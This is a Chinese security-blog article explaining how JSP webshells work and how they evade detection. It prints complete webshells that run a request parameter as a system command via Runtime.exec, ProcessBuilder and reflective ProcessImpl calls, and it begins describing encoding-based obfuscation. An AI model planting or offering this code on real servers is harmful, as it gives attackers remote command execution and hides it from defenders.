freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Jsp Webshell原理性探究的那些事
2023-11-16 22:50:40

webshell

original webshell

最普通的webshell

<%
    // original WebShell
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream inputStream = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String res = null;
        while ((res = bufferedReader.readLine()) != null) {
            response.getWriter().write(res);
        }
    }
%>

直接是通过get传参之后, 通过使用Runtime.getRuntime().exec()执行命令

这种webshell很容易被检测,Runtime.getRuntime().exec()具有很强的shell特征

other command

Runtime.getRuntime被禁用,换用其他执行命令的方式进行制作shell,(虽然也很容易被查杀

ProcessBuilder

<%
    // original WebShell
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        // ProcessBuilder
        Process process = new ProcessBuilder(new String[]{cmd}).start();
        InputStream inputStream = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String res = "";
        while ((res = bufferedReader.readLine()) != null) {
            response.getWriter().write(res);
        }
    }
%>

ProcessImpl

同样也可以通过反射执行ProcessImpl#start方法进行命令执行

// ProcessImpl#start()
            Class<?> aClass = Class.forName("java.lang.ProcessImpl");
            Method start = aClass.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            start.setAccessible(true);
            Process process = (Process) start.invoke(null, new String[]{cmd}, null, ".", null, true);

上面是在windows环境下的执行,在Unix下的系统是使用的UNIXProcess类

类似的我们可以

  1. 构造UNIXProcess/ProcessImpl实例进行命令执行

  2. 或者更底层的通过Unsafe进行类实例的创建以及反射调用Native方法forkAndExec进行命令执行

混淆绕过

编码

最常见的混淆就是通过编码来进行webshell的隐藏

对于JSP的解析流程

在请求一个jsp页面时,如果是首次jsp页面的访问将会对jsp页面进行编译生成一个class文件,之后封装成一个JspServlet,通过调用他的service方法处理请求,特别的,如果不是首次访问jsp文件,如果没有更改将不会再次进行编译操作,直接使用之前的JspServlet进行调用

简单跟进一下Jsp的解析过程以及对编码的判断

JspServletWrapper#service方法中通过compile方法进入编译流程

image-20231103230616273.png

默认使用使用JDTCompiler这个编译器进行编译

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录